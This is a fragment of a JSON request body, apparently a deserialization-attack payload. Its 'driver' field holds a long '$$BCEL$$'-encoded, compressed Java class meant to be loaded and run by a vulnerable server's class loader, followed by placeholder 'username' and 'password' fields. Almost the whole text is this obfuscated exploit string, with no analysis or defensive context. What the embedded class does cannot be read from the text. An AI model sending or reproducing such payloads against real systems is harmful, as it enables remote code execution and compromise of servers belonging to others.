},"driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91$ddN$h1$Q$85$8f$93$F$c36$U$I$3f$fd$_$BZ$I$m$c8M$ef$82P$R$C$vR$g$aa$s$82k$c7$98$c4$c8$d8$d1$ae7$e2$b5$b8$81$aa$X$3c$A$PUu$i$w$b2R$bb$96$f6h$ce$7c$c7$b3$9a$7d$fc$fd$eb$B$c0$Xl$c6$98$c4r$8cWx$3d$857A$dfr$bc$e3x$cf0$b9$af$ad$f6$H$M$c5$ea$d6$ZCt$e4$$$U$c3lS$5b$d5$ca$ae$bb$w$e9$88$ae$n$a7$dctR$983$91$e8P$ff5$p$df$d7$v$dd$d1$3c$kjSg$88$8fo$a4$gx$edl$ca$f1$81$e3$p$c7$KG$85c$95zm$97$rR$9d$e8$Q$9c$O$81$bd$x1$U$rpLq$ac$95$b0$8eO$M$cbn$a0leWTh$98$cc$8c$f0$$$d9$T$83A$J$9f$b1A$f3B$8ca$$$EkF$d8$5e$ed$b4$7b$a5$a4gX$YY$da$d5$g$a7$cf$df$c0P$Z$83GF$a4i$cb$f9$T$97$d9$8b$i$b22FZ$ae$9d$c9$fe7$e5$fb$$O$ec$8c$89D$5d$g$gWk$d8$nm$p$b4$3b$o$e9$v$ff$ff$91$NcTO$98C$vU$9a$e6$90$f91$f2$p$b3$5e_$d3Bb$ba$e5$b9X$aan5$ffah$bd$91$baQ$92a$b3$9a$eb$b6$7d$a2m$af$9e$P$7cO$5c$98X$c7$w$s$e8$bf$87$87$d1$a1$3d$a3$80i$aa$be$922$d2$97$db$f7$60$3fQ$u$X$ef$Q$9d$df$92S$40$i$7c$U$e9$3d$8b$I$f3$98A$Z$_$a8$w$3d$rHgF$g$9c$Jb$e6$88$vc$81$ba$8b$a3$fc$d2$l$aa$ee$90$ebu$C$A$A"}}:"x"}},}},"username":"a","password":"b"}